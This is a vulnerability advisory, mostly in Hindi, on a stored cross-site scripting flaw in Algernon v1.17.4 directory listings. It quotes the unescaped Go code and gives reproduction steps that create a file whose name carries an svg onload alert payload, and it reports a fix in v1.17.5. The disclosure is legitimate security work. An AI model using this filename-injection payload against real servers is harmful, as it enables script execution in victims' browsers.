
Algernon v1.17.4 एक क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी से प्रभावित है जो हमलावरों को एक फ़ाइलनाम में क्राफ्टेड पेलोड डालकर मनमाना कोड निष्पादित करने की अनुमति देता है।
Algernon v1.17.4 एक क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी से प्रभावित है जो हमलावरों को एक फ़ाइल नाम में तैयार किए गए पेलोड के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है।
कुछ चर संवर्धित (sanitize) नहीं किए गए थे। उदाहरण के लिए :
engine/dirhandler.go लाइनें 80-108
filename := item.Name() // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))
themes/html.go लाइनें 124-132
func HTMLLink(text, url string, isDirectory bool) string {
if isDirectory {
text += "/"
url += "/"
}
return "<a href=\"/" + url + "\">" + text + "</a><br>"
// 'text' (filename) is inserted directly without HTML escaping
}
फ़ाइल सिस्टम से फ़ाइल नामों को डायरेक्टरी लिस्टिंग में HTML एस्केपिंग के बिना सीधे HTML में डाला जाता है।
$ algernon -v
Algernon 1.17.4
एक डायरेक्टरी में, XSS पेलोड को नाम के रूप में फ़ाइलें बनाएं।
# XSS Payload 1: Simple alert
$touch "test.txt"
# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"
उसी रिपॉजिटरी में, एप्लिकेशन चलाएं।
algernon
Server directory: .
Server address: :3000
Database: Bolt (/tmp/algernon.db)
Cache mode: On
Cache size: 1048576 bytes
TLS certificate: cert.pem
TLS key: key.pem
Request limit: 10/sec per visitor
Large file threshold: 44040192 bytes
Large file timeout: 10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2.
INFO[0000] Use the -t flag for serving regular HTTP.
INFO[0000] Serving HTTP on http://localhost:3000/
निम्नलिखित URL पर जाएँ, एक अलर्ट दिखाई देगा।



यह समस्या अब v1.17.5 में पैच कर दी गई है।
खोजकर्ता : Benoit H. (Bnyt7)